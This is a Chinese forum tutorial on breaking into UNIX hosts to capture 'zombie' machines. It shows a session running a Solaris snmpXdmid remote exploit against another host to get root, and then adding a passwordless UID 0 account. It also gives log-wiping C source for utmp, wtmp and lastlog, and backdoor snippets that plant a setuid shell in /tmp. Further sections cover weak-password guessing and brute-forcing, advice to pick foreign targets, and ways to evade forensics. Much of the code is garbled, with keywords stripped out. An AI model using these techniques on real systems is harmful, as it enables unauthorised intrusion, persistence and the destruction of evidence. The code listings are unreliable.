chinaunix:浅谈入侵UNIX

:基本知识

1:常见UNIX版本:
SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I, V Unix,Unicos,Unix ware...
2:简单介绍几个
sunos&solaris SUN本来想用solaris取代sunos不过在用户要求下到目前为止还是维持两者并存政策;
Freebsd是著名BSD-UNIX继承者是UNIX众多分支中相当稳定很多ISP均使用运行Freebsd;
Linux是个面对PC机个人用户自由廉价UNIX产品(其硬件平台是Intel系列CPU)实际上众多网络管理员真正使用是Linux
3:UNIX操作系统特点
(1)多用户和多任务;(2)可移植性;(3)树行结构文件系统;(4)I/O重定向技术和管道技术;(5)丰富实用;(6)每个用户都有电子邮件
4:尤为突出优点
(1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大数据库支持功能;(5)伸缩性强

2:入侵目

1:学习UNIX熟悉内部操作整体配置...
2:做跳板或以此捕捉更多UNIX肉鸡;
3:越权得到某些正常请求下得不到东西;
4:攻击破坏或以此作为利器来破坏其他系统;
5:更多......

3:入侵思路方法

1:寻找目标

工具:supperscan流光LANguard Network Scanner 2.0或者其他凭个人喜好选用
supperscan:扫描2379端口注意含%#&...主机这些就是UNIX;
LANguard..作简单设置即可开始判断对方操作系统功能乃同类软件Software中精品直观准确;
流光:利用高级扫描选telnetPRCPOP3FTPFinger即可
其他思路方法样...
(介绍说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现信息请注意识别)

2:开始入侵

(1)溢出(所有有关UNIX溢出都需要在个UNIX/Linux环境下进行编译)
A:远程溢出
溢出?呵呵太多了!随便说几个:freebsd远程溢出bind 远程溢出Sun Solaris 5.7/5.8 Sparc远程溢出redhat6.xrpc status远程溢出...自己去了解吧在这里我简单说两个例子:
a1:考虑到很多朋友使用windows所以大家可以参看我兄弟---蓝骑士大作freebsd溢出完全图文版(地址:http://www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=)这个溢出有已经编译好了可以直接在windows下使用;
a2:Sun Solaris 5.7 Sparc远程溢出
搜索...终于让我找到了台sunos 5.7上我台sunos 5.8
telnet 66.*.146.48 ----->>这是我
SunOS 5.8

login: ply
Password:
Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$ tmp/.sh ----->>当时溢出时做处理!
# ls
bin data etc initrd mnt proc sbin usr
boot dev home lib misc opt root tmp var
xfn skip
# cat >snmp.c

....... ----->>太长了省略...自己去找!

# gcc -o snmp snmp.c ----->>用gcc编译
snmp.c: In function `':
snmp.c:181: warning: passing arg 3 of poer to function from incompatible poer type
snmp.c:181: warning: passing arg 4 of poer to function from incompatible poer type
snmp.c:181: warning: passing arg 5 of poer to function from incompatible poer type
# ls
bin data etc initrd mnt proc sbin snmp usr
boot dev home lib misc opt root snmp.c tmp var
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

usage: ./s address [-p port] -v 7|8
#./snmp 216.*.45.63 -v 7 ---->开始溢出!!
DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root) ----->>是root哦!
echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加个用户先!
echo "ply::::::::" >> /etc/shadow
... ----->>还想干什么就继续吧!

B:本地溢出
本地溢出需要个具有Shell权限帐号这个帐号可以通过pop3或ftp弱密码得到照样举个例子:
流光扫描...会儿得到了个ftp帐号(webmasterwebmaster)先telnet上去!
telnet *.174.62.135

Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定!
Kernel 2.2.12-20kr2smp _disibledevent=>UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
Written by UNYUN ( u[email protected] )
=
*/

#
#
#
#

#def UTMAXTYPE
# UTMPX
#
#end
#
#ndef _PATH_LASTLOG
#
#end
#
#
#

# SVR4_UTMP "/var/adm/utmp"
# SVR4_WTMP "/var/adm/wtmp"
# SVR4_LASTLOG "/var/adm/lastlog"

# SUNOS4_UTMP "/etc/utmp"
# SUNOS4_WTMP "/usr/adm/wtmp"
# SUNOS4_LASTLOG "/usr/adm/lastlog"

# BSD_UTMP "/var/run/utmp"
# BSD_WTMP "/var/log/wtmp"
# BSD_LASTLOG "/var/log/lastlog"

# MAX_FPATH 512

wipe_log(path,user,type)
char *path,*user;
type;
{
struct utmp utmp_ent;
#def UTMPX
struct utmpx utmpx_ent;
#end
void *ent;
char *un;
sz,fd,c=0;

(strlen(path)0) (1);
(type0){
ent=(void *)&utmp_ent;
#def UTMPX
un=(char *)&utmp_ent.ut_user;
#
un=(char *)&utmp_ent.ut_name;
#end
sz=(struct utmp);
}{
#def UTMPX
ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=(struct utmpx);
#end
}
((fd=open(path,O_RDWR))<=0) (-1);
while(read(fd,ent,sz)>0)
(!strncmp(un,user,strlen(user))){
mem(ent,0,sz);
lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c;
}
close(fd);
prf("Wiped %d entries of %s from %s.\n",c,user,path);
(0);
}

wipe_lastlog(path,user,type)
char *path,*user;
type;
{
struct passwd *p;
struct lastlog ent;
fd;
char buffer[MAX_FPATH];

(type0) strcpy(buffer,path);
sprf(buffer,"%s/%s",path,user);
mem(&ent,0,(struct lastlog));
((p=getpwnam(user))NULL) (-1);
((fd=open(buffer,O_RDWR))<=0) (-2);
(type0)
lseek(fd,p->CNSU_uid*(struct lastlog),SEEK_SET);
write(fd,&ent,(struct lastlog));
close(fd);
prf("Wiped %s from %s.\n",user,path);
(0);
}

(argc,argv)
argc;
char *argv;
{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
lastlog_type;

(argc!=2){
prf("Usage: %s Usernane\n",argv[0]);
exit(1);
}
(getpwnam(argv[1])NULL){
prf("Unknown user : %s\n",argv[1]);
exit(1);
}
uname(&utname);
strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
(!strcmp(utname.sysname,"SunOS")){
#def UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#
strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#end
} (!strcmp(utname.sysname,"Linux")
|| !strcmp(utname.sysname,"FreeBSD")){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
} (!strcmp(utname.sysname,"IRIX")){
#def UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#
prf("Can not wipe. Unknown.\n");
#end
}
prf("Can not wipe. Unknown.\n");

wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}
^d

[root@ns webmaster]# gcc -o wipe wipe.c
[root@ns webmaster]# ./wipe webmaster ----->>./wipe username就可以扫掉脚印了!

(2)扫描弱口令或暴力破解口令
A:弱口令使用于大范围搜捕即利用少量常见多用密码去推测大量主机telnetftp或pop3
B:暴力破解适用于针对某主机比如说利用finger获得了用户列表即可采用字典攻击!或者说利用其他漏洞(如phf漏洞)获得了passwdshadow文件可以拿john或者乱刀解破能否解破?看运气!

(3)利用特洛伊木马窃取口令(我没有这么做过但这不失为种思路方法)

(4)网络监听和数据截取(大家和我起努力吧努力学会利用这种思路方法:P)

(5)这里给大家几个简单后门复杂自己去看!
a1:口令文件 passwd 中增加个 UID 为 0 帐号
# 


{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
a2:在 /tmp 目录下放置 suid shell
#

{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
a3:管理员偶然地输入cd..时向/etc/passwd文件添加个UID 0 帐号
# 
# 


{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
(6)攻击(特别是溢出)方式很多但思路方法大多大同小异故不再赘叙!

4:补充介绍说明

1:如用supperscan发现某ip段存在大量unix主机马上转用弱口令破解;或发现某连续ip段全是同个unix版本操作系统则此ip段很有可能是某大公司企业高校或其他般防护甚严不存在溢出漏洞无需逐尝试溢出随便选两 3个试试看行不行;
2:到信息产业发达国家去找比如说美国日本...不要找国内又少又危险!
3:若发现telnet不上上次成功溢出肉鸡介绍说明此肉鸡ip是动态但ip改变不会太大在临近ip再搜遍即可!

5:强调介绍说明

不要简单地认为你已经轻易地檫干净了你入侵痕迹很多有经验管理员都把日志文件转到了其他主机上或作相关安全处理旦管理员发现了入侵他会从如下方面来分析攻击者入侵方式你应该以此做出相应应对措施:
1:查找系统文件和系统培植文件变化;
2:查找数据文件变化;
3:查找入侵留下数据文件和相关工具;
4:检查日志文件
5:查找出网络监听迹象
6:检查局域网上其他计算机

6:本文中存在缺点还望容忍并多加批评和指正!本文欢迎转载但请务必保持全文完整!

7:警告请清醒地估量你行为可能带来后果!

Tags:  unixshell unix环境高级编程 unixsybase chinaunix

延伸阅读

最新评论

发表评论